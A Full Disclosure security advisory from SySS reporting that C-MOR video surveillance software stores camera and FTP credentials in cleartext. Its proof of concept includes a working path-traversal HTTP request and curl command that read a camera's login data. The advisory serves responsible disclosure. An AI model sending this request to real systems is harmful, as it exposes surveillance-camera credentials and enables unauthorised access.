Message-ID: <e94d2407-6240-4508-b7f1-e2d49c815953@syss.de>
Date: Wed, 4 Sep 2024 08:13:43 +0200
From: Matthias Deeg via Fulldisclosure <fulldisclosure@...lists.org>
To: <fulldisclosure@...lists.org>
Subject: [FD] [SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage
 of Sensitive Information (CWE-312)

Advisory ID:               SYSS-2024-028
Product:                   C-MOR Video Surveillance
Manufacturer:              za-internet GmbH
Affected Version(s):       5.2401, 6.00PL01
Tested Version(s):         5.2401, 6.00PL01
Vulnerability Type:        Cleartext Storage of Sensitive Information 
(CWE-312)
Risk Level:                Medium
Solution Status:           Open
Manufacturer Notification: 2024-04-05
Solution Date:             -
Public Disclosure:         2024-09-04
CVE Reference:             CVE-2024-45175
Authors of Advisory:       Chris Beiter, Frederik Beimgraben,
                            and Matthias Deeg

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

The software product C-MOR is an IP video surveillance system.

The manufacturer describes the product as follows:

"With C-MOR video surveillance, it is possible to check your
surveillance over network and the Internet. You can access the live
view as well as previous recordings from any PC or mobile device.
C-MOR is managed and controlled over the C-MOR web interface.
IP settings, camera recording setup, user rights and so on are set
over the web without the installation of any software on the
client."[1]

Sensitive information is stored in cleartext.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

By analyzing the C-MOR system, it was found that sensitive information,
for example login credentials of cameras, is stored in clear text.

Thus, an attacker with file system access, for example exploiting a path
traversal attack (see SYSS-2024-025[3]), has access to the login data of
all configured cameras or the configured FTP server.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

By exploiting the path traversal attack in the backup download script
"download-bkf.pml", login credentials of cameras can be retrieved, as
the following HTTP request and the corresponding response demonstrate:

POST /download-bkf.pml HTTP/1.1
Host: <HOST>
Authorization: Basic <CREDENTIALS>
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Connection: close

bkf=../../../etc/ip.cam1


HTTP/1.1 200 OK
(...)

192.168.1.11
80
<USERNAME>
<PASSWORD>


This PoC attack can be performed using the following curl command:

curl -X POST -d 'bkf=../../../etc/ip.cam1' --user 
'<USERNAME>:<PASSWORD>' --ciphers 'DEFAULT:!DH' 
https://<HOST>/download-bkf.pml
192.168.1.11
80
<USERNAME>
<PASSWORD>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

There is no fix for this security issue.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2024-04-05: Vulnerability reported to manufacturer
2024-04-05: Manufacturer acknowledges receipt of security advisories
2024-04-08: Exchange regarding security updates and disclosure timeline
2024-05-08: Further exchange concerning security updates and disclosure
             timeline; public release of all security advisories
             scheduled for release of C-MOR Video Surveillance version 6
2024-05-10: Release of C-MOR software version 5.30 with security updates
             for some reported security issues
2024-07-19: E-mail to manufacturer concerning release date of C-MOR
             Video Surveillance version 6; response with planned
             release date of 2024-08-01
2024-07-30: E-mail from manufacturer with further information
             concerning security fixes
2024-07-31: Release of C-MOR software version 6.00PL1
2024-09-04: Public release of security advisory

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for C-MOR Video Surveillance
     https://www.c-mor.com/
[2] SySS Security Advisory SYSS-2024-028
 
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-028.txt
[3] SySS Security Advisory SYSS-2024-025
 
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-025.txt
[4] SySS Responsible Disclosure Policy
     https://www.syss.de/en/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Chris Beiter, and Frederik
Beimgraben.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en


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